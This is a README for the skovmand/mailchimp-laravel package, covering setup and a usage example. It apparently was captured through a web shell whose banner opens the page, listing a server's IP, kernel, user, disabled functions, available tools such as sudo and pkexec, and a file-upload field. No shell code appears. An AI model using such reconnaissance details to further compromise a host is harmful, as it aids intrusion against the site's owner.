| Server IP : 54.233.248.239 / Your IP : 172.28.20.13 Web Server : Apache System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/vinumday2_0/vendor/skovmand/mailchimp-laravel/ |
Upload File : |
# skovmand/mailchimp-laravel
A minimal service provider to set up and use the Mailchimp API v2 PHP library in Laravel v5.*
For Laravel v4 check https://packagist.org/packages/hugofirth/mailchimp
Please note that [Mailchimp API v2 is deprecated from jan 1st 2017](http://us12.campaign-archive2.com/?u=165abe0a1aa09263bc6ad1397&id=390ec1286a&e=). This package uses the v2 API, because it relies on the [Mailchimp PHP API Client](https://bitbucket.org/mailchimp/mailchimp-api-php.git).
## How it works
This package contains a service provider, which binds an instance of an initialized Mailchimp client to the IoC-container.
You recieve the Mailchimp client through depencency injection already set up with your own API key.
**Usage example**
```php
class NewsletterManager
{
protected $mailchimp;
protected $listId = '1234567890'; // Id of newsletter list
/**
* Pull the Mailchimp-instance from the IoC-container.
*/
public function __construct(\Mailchimp $mailchimp)
{
$this->mailchimp = $mailchimp;
}
/**
* Access the mailchimp lists API
* for more info check "https://apidocs.mailchimp.com/api/2.0/lists/subscribe.php"
*/
public function addEmailToList($email)
{
try {
$this->mailchimp
->lists
->subscribe(
$this->listId,
['email' => $email]
);
} catch (\Mailchimp_List_AlreadySubscribed $e) {
// do something
} catch (\Mailchimp_Error $e) {
// do something
}
}
}
```
Or you can manually instantiate the Mailchimp client by using:
```$mailchimp = app('Mailchimp');```
## Setup
**Step 1: Adding the dependency to composer.json**
Add this to your composer.json in your Laravel folder.
Note: Adding this dependency will automatically setup "mailchimp/mailchimp": "~2.0" too.
```json
"require": {
"skovmand/mailchimp-laravel": "1.*",
}
```
**Step 2: Register the service provider**
Register the service provider in ```config/app.php``` by inserting into the ```providers``` array
```php
'providers' => [
Skovmand\Mailchimp\MailchimpServiceProvider::class,
]
```
**Step 3: From the command-line run**
```
php artisan vendor:publish --provider="Skovmand\Mailchimp\MailchimpServiceProvider"
```
This will publish ```config/mailchimp.php``` to your config folder.
**Step 4: Edit your .env file**
for more info check "http://kb.mailchimp.com/accounts/management/about-api-keys#Find-or-Generate-Your-API-Key"
```php
MAILCHIMP_API_KEY="your-api-key-here"
```
**Good to go!**